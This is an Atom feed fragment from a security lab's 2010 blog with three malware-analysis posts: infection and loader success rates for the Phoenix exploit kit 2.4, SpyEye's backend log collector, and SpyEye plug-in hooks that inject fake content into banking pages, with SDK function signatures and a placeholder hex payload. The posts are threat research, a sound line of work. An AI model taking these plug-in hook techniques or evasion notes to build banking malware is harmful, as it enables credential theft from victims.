rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_2r2SQhqglf4/TN2DE-7kXMI/AAAAAAAAA1E/BVHbHYZ6rtc/s72-c/QuestionMark2.JPG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-6349236926741161217</id><published>2010-10-05T08:52:00.000-07:00</published><updated>2010-11-05T12:15:35.457-07:00</updated><title type='text'>Phoenix Exploit Kit  (2.4) - Infection Analysis</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/TKtKofPV9sI/AAAAAAAAA0g/vjNo5Ke4p4I/s1600/Phoenix-Tattoo-Design-01.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 198px; height: 200px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/TKtKofPV9sI/AAAAAAAAA0g/vjNo5Ke4p4I/s400/Phoenix-Tattoo-Design-01.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5524591427341121218" /&gt;&lt;/a&gt;&lt;br /&gt;Phoenix exploit kit is one of the best Browser Exploit Pack (BEP) in the market nowadays. Looking at the pace of development, it seems like we are going to see plethora of advancements in this BEP. In this post , we are aiming to disclose some of the findings and reviews about the latest Phoenix BEP version 2.4. Primarily, we will be talking about the following metrics in detail to discuss the impact of this BEP.&lt;br /&gt;&lt;br /&gt;1. Exploitation Success Rate (ESR).&lt;br /&gt;2. Loader Infection Success Rate (LISR).&lt;br /&gt;&lt;br /&gt;The most critical part of testing BEP's is to determine the success rate of loading a bot or executable once the target is exploited in real time environment. This metric is quite important because number of browser exploit packs suffer from huge loss in loading activity even after the exploitation. However, many times it has been noticed that most of the statistics provided by BEP's claiming the fact that infection rate based on ESR to be thousands of machines. But the installation rate is very less. Based on our analysis, we are raising a point on the effectiveness of BEP. If the exploitation rate is high it means the BEP has to be robust enough to perform the successful installs.&lt;br /&gt;&lt;br /&gt;A generic experiment was conducted on some of the samples of Phoenix Exploit Kit 2.x - 2.4 in a controlled environment to detect the possible rates of infection. The output is presented as follows&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[1] Browser Exploitation Rate (BER)&lt;/b&gt;&lt;br /&gt;Microsoft Internet Explorer (IE6+IE7+IE8) - &lt;b&gt; 25% &lt;/b&gt;&lt;br /&gt;Firefox (All Versions)                    - &lt;b&gt; 17% - 22%&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[2] Operating Systems Exploitation Rate (OSER)&lt;/b&gt;&lt;br /&gt;Windows XP    : &lt;b&gt; 25% - 30%&lt;/b&gt;&lt;br /&gt;Windows Vista : &lt;b&gt; 18% - 22% &lt;/b&gt;&lt;br /&gt;Windows 7     : &lt;b&gt; 5% - 8% &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt; [3] Traffic Infection Rate (TIR)&lt;/b&gt;&lt;br /&gt;Mixed Traffic Rate (Hard+Generic) = &lt;b&gt;70% - 80%&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt; [4] Loader Infection Success Rate (LISR)&lt;/b&gt;&lt;br /&gt;Loader Installation Rate after exploitation - &lt;b&gt;90%&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;This gives us an indication about the exploitation ratios of browsers and operating systems. Windows 7 shows less vulnerable because of the protection mechanisms developed in it. Phoenix BEP converts 70%-80% of traffic to be infected. As it has been discussed above, the loader installation loss is quite less as compared to other BEP's. We can consider the fact of firewalls and other possible scenarios where security mechanisms can reduce the loader installation rate to 10%-15%.However, considering the stats the rate is still high.&lt;br /&gt;&lt;br /&gt;Note: The infection rate varies depending on the rate of traffic but the overall stats remain the same.&lt;br /&gt;&lt;br /&gt;With the release of version 2.4 we will be encountering following exploits and codes&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Added JAVA TC (privilege escalation) which works instead of JAVA DE-SERIALIZE and JAVA GSB exploits.It breaks JRE/JDK 1.5.0-1.5.0_23 and 1.6.0-1.6.0_18 on Win XP/VISTA/7.&lt;br /&gt;&lt;br /&gt;Added QUICKTIME exploit for QUICKTIME PLAYER v. 7.6.6-7.6.7 on Win XP for IE 6/7/8.&lt;br /&gt;&lt;br /&gt;Added PDF FONT exploit for ADOBE READER 9.3.1-9.3.4 on Win XP/VISTA/7. Vulnerability is not patched yet!&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;(Hitting Anti Viruses Hard) Random file-names of BEP structure.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;(Stealth Technique) Link Encryption in JAVA exploit.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Phoenix 2.4 has shown good advancements. So overall this exploit pack is building really good codes to dismantle the web.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-6349236926741161217?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/6349236926741161217/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2010/10/phoenix-exploit-kit-24-analysis.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/6349236926741161217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/6349236926741161217'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2010/10/phoenix-exploit-kit-24-analysis.html' title='Phoenix Exploit Kit  (2.4) - Infection Analysis'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_2r2SQhqglf4/TKtKofPV9sI/AAAAAAAAA0g/vjNo5Ke4p4I/s72-c/Phoenix-Tattoo-Design-01.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-5851610622731964723</id><published>2010-08-31T19:08:00.000-07:00</published><updated>2010-08-31T20:11:14.416-07:00</updated><title type='text'>SpyEye Backend Collector -  Victim Databases</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/TH295YWA3NI/AAAAAAAAAzQ/C8H18G43kmI/s1600/Untitled.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 182px; height: 136px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/TH295YWA3NI/AAAAAAAAAzQ/C8H18G43kmI/s400/Untitled.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5511770312456330450" /&gt;&lt;/a&gt;SpyEye is a fast growing platform that is used for bot infection. SpyEye uses a definitive back end engine for collecting information from the bots. The SpyEye collector is not a part of the admin interface which is used to manage certain specific controls. The collector is an independent component of SpyEye infection platform. This method is used by SpyEye in order to make this component completely unique from the perspective of collecting information from various infected systems all around the world. It means the admin interface has no relation and impact on the working of backend collector because this component works inadvertently even if the admin is disabled or not working. Well, this is quite impressive in its functioning. It means that in a botnet, the main admin that starts infection does not have a much relation with the component that collects information from the bots. &lt;br /&gt;&lt;br /&gt;Basically, SpyEye uses a daemon for Linux. It listens on a specific port, collect logs and store information in database. The logs use special compression library termed as LZO for real time data compression. Actually, the LZO is primarily known for its speed over compression ratio. The compression in itself is really fast in LZO and it does not require any memory for decompression. LZO use algorithms that are thread safe, lossless and portable. This provides a glimpse of high compression used for log transmission over the internet from the bots to the backend collector daemon. This simply sets the traffic control in a strict manner thereby economize traffic to transfer logs directly without much interference.&lt;br /&gt;&lt;br /&gt;The SpyEye collector looks like as follows&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/TH28AJ4dcwI/AAAAAAAAAzI/3v-HVd9LAh8/s1600/secmanager.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 250px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/TH28AJ4dcwI/AAAAAAAAAzI/3v-HVd9LAh8/s400/secmanager.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5511768229810107138" /&gt;&lt;/a&gt;&lt;br /&gt;SpyEye has its own SDK and development platform which is designed for generating plugins for infecting victims and stealing specific information. Through plugins, data can be easily transferred to collector. SpyEye provides relative function as a part of its API as follows&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;void TakeGateToCollector(LPVOID lpGateFunc);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This function is used in the SpyEye plug-in development as follows&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/TH2_0TwC-KI/AAAAAAAAAzY/1fTVAD3VtE8/s1600/code1.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 387px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/TH2_0TwC-KI/AAAAAAAAAzY/1fTVAD3VtE8/s400/code1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5511772424347252898" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The page is dumped as&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/TH3AYJcgzSI/AAAAAAAAAzg/mwr5I_l5dS8/s1600/code2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 500px; height: 119px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/TH3AYJcgzSI/AAAAAAAAAzg/mwr5I_l5dS8/s400/code2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5511773040056257826" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The collector is configured in the builder part of SpyEye as follows&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/TH3BiDITKJI/AAAAAAAAAzo/SOWJJ3g9sfw/s1600/collector.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 279px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/TH3BiDITKJI/AAAAAAAAAzo/SOWJJ3g9sfw/s400/collector.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5511774309671184530" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The collected logs provide statistics as follows&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/TH3ClV5X5wI/AAAAAAAAAzw/2jHhIY3NLB4/s1600/logs.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 366px; height: 400px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/TH3ClV5X5wI/AAAAAAAAAzw/2jHhIY3NLB4/s400/logs.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5511775465760089858" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;SpyEye uses a good technique and provision of storing information irrespective of user centric access.&lt;br /&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-5851610622731964723?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/5851610622731964723/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2010/08/spyeye-backend-collector-generating.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5851610622731964723'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/5851610622731964723'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2010/08/spyeye-backend-collector-generating.html' title='SpyEye Backend Collector -  Victim Databases'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_2r2SQhqglf4/TH295YWA3NI/AAAAAAAAAzQ/C8H18G43kmI/s72-c/Untitled.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1900729850320917040.post-6381927169959504463</id><published>2010-08-28T06:43:00.000-07:00</published><updated>2010-08-28T09:15:32.194-07:00</updated><title type='text'>SpyEye 1.2.22 - Art of  Web Fakes - Malware</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/THkgM5jMfHI/AAAAAAAAAx8/umlmpMfBc-Y/s1600/spyeye.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 84px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/THkgM5jMfHI/AAAAAAAAAx8/umlmpMfBc-Y/s400/spyeye.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5510471025043471474" /&gt;&lt;/a&gt;&lt;br /&gt;SpyEye is one of the latest infection platform on the web which includes a satisfactory browser exploit pack and bot generating system. With the latest SpyEye version starting from 1.2.2X (1.2.4) on the run, we have noticed a state of web fakes which is generated in an artistic manner by the SpyEye. If we look at the profitable nature of SpyEye, it is named as banking Trojan, which comprises of efficient techniques to infect bank websites. In this post, we are going to talk about the technique used by SpyEye to infect banks website with Web Fakes. &lt;br /&gt;&lt;br /&gt;SpyEye uses a well defined SDK for its development and infection among websites. It uses the same DLL injection technique. According to definition &lt;span style="font-style:italic;"&gt;"DLL injection is a technique used to run code within the address space of another process by forcing it to load a dynamic-link library. DLL injection is often used by third-party developers to influence the behavior of a program in a way its authors did not anticipate or intend."&lt;/span&gt; In general it works as follows&lt;br /&gt;&lt;br /&gt;1. At first, SpyEye infect the processes by DLL Injection in most of standard DLL's used by HTTP and socket generation functions in the system. It uses DLL hooking to take control of certain functions such as HTTP requests GET/POST to monitor the functioning of process. &lt;br /&gt;&lt;br /&gt;2. SpyEye extensibility depends a lot on plug-in designing. The plug-ins have additional infection code which is to be injected into the process for variety of infections. This is done to ensure that initial process of infection remains intact. Plug-ins are used to increase the level of infection at later stage looking at the capability of infected targets.&lt;br /&gt;&lt;br /&gt;3. SpyEye uses named pipes, as the same window concept, to read data from plugins and infecting HTTP processes directly.&lt;br /&gt;&lt;br /&gt;SpyEye SDK uses following functions as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;[1] DLLEXPORT bool IsGlobal() { return true; } &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This function is called by plug-in itself at the start. It provides a full access to plug-in to communicate all the infected processes so that it is possible for plug-in to take control of all the infected interfaces directly from the source.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;[2] DLLEXPORT void Callback_OnBeforeLoadPage(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szPostVars, OUT PCHAR * lpszContent, OUT PDWORD lpdwSize) {}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This function is called by plug-ins to set a hook on the HTTP/HTTPS request, so that contents of the page can be reported back to centralized repository for analyzing the type of information is going out of the network. Let's see the layout&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/THksssNR2YI/AAAAAAAAAyM/KyXBqwRAjdU/s1600/spyeye3.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 600px; height: 160px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/THksssNR2YI/AAAAAAAAAyM/KyXBqwRAjdU/s400/spyeye3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5510484765357234562" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;[3] DLLEXPORT void Callback_ProcessContentOfPage(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szPageContent, OUT PCHAR * szOut, IN OUT PDWORD lpdwSize) {}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This function is used to infect the web page dynamically. It again performs a hook exactly before the page is about to render in the browser. It provides an edge to update page contents and inject additional Web Fakes in banking websites. Let's see&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/THkt0Tui_EI/AAAAAAAAAyU/_8_xjTc8R30/s1600/spyeye4.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 600px; height: 130px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/THkt0Tui_EI/AAAAAAAAAyU/_8_xjTc8R30/s400/spyeye4.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5510485995736464450" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;[4]DLLEXPORT void FreeMem(LPVOID lpMem) {}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;At last, this function is used to set the allocated resource free. A good memory allocation and management benchmark :)&lt;br /&gt;&lt;br /&gt;SpyEye mainly infects following DLL's&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/THkofL8Y-7I/AAAAAAAAAyE/uHzvGsO9JUg/s1600/spyeye2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 80px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/THkofL8Y-7I/AAAAAAAAAyE/uHzvGsO9JUg/s400/spyeye2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5510480135311653810" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The payload to be injected or data to be used for infection is applied as follows&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;#include "data.cpp" /*&lt;br /&gt;unsigned char data[] = {&lt;br /&gt;0x48, 0x54, 0x54, 0x50, 0x2F, 0x31, 0x2E, 0x31, 0x20, 0x32, 0x30, 0x30, 0x20, 0x4F, 0x4B, 0x0D,&lt;br /&gt;0x0A, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x2D, 0x54, 0x79, 0x70, 0x65, 0x3A, 0x20, 0x74,&lt;br /&gt;0x65, 0x78, 0x74, 0x2F, 0x68, 0x74, 0x6D, 0x6C, 0x3B, 0x20, 0x63, 0x68, 0x61, 0x72, 0x73, 0x65,&lt;br /&gt;0x74, 0x3D, 0x55, 0x54, 0x46, 0x2D, 0x38, 0x0D, 0x0A, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x3A,&lt;br /&gt;0x20, 0x73, 0x72, 0x76, 0x0D, 0x0A, 0x0D, 0x0A, 0x3C, 0x68, 0x31, 0x3E, 0x57, 0x65, 0x62, 0x66,&lt;br /&gt;0x61, 0x6B, 0x65, 0x73, 0x20, 0x69, 0x73, 0x20, 0x6E, 0x6F, 0x77, 0x3C, 0x2F, 0x68, 0x31, 0x3E,&lt;br /&gt;0x3C, 0x62, 0x72, 0x3E, 0x3C, 0x62, 0x3E, 0x74, 0x61, 0x64, 0x61, 0x21, 0x3C, 0x2F, 0x62, 0x3E }; */&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Let;s see the SpyEye Plug-ins infection at world level&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/THk0VTJMwFI/AAAAAAAAAys/jFOf0a7R8ek/s1600/updated_spyeye7.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 333px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/THk0VTJMwFI/AAAAAAAAAys/jFOf0a7R8ek/s400/updated_spyeye7.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5510493159585267794" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So the Web Fakes look like as follows&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/THkwsADx7jI/AAAAAAAAAyc/psLmZXDeAXA/s1600/updated_spyeye5.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/THkwsADx7jI/AAAAAAAAAyc/psLmZXDeAXA/s400/updated_spyeye5.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5510489151552745010" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/THkxhvIEJ6I/AAAAAAAAAyk/5MwyYUe1QlU/s1600/updated_spyeye6.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/THkxhvIEJ6I/AAAAAAAAAyk/5MwyYUe1QlU/s400/updated_spyeye6.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5510490074720249762" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is really disastrous from security point of view as well as looking at the scenario of stealing information from victim machines by fooling them completely. This type of Malware is getting deadly day by day.&lt;br /&gt;&lt;br /&gt;But that's true.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1900729850320917040-6381927169959504463?l=secniche.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://secniche.blogspot.com/feeds/6381927169959504463/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://secniche.blogspot.com/2010/08/spyeye-1222-generating-web-fakes.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/6381927169959504463'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1900729850320917040/posts/default/6381927169959504463'/><link rel='alternate' type='text/html' href='http://secniche.blogspot.com/2010/08/spyeye-1222-generating-web-fakes.html' title='SpyEye 1.2.22 - Art of  Web Fakes - Malware'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_2r2SQhqglf4/THkgM5jMfHI/AAAAAAAAAx8/umlmpMfBc-Y/s72-c/spyeye.jpg' height='72' width='72'/><thr:total>4</thr:total></entry></feed>
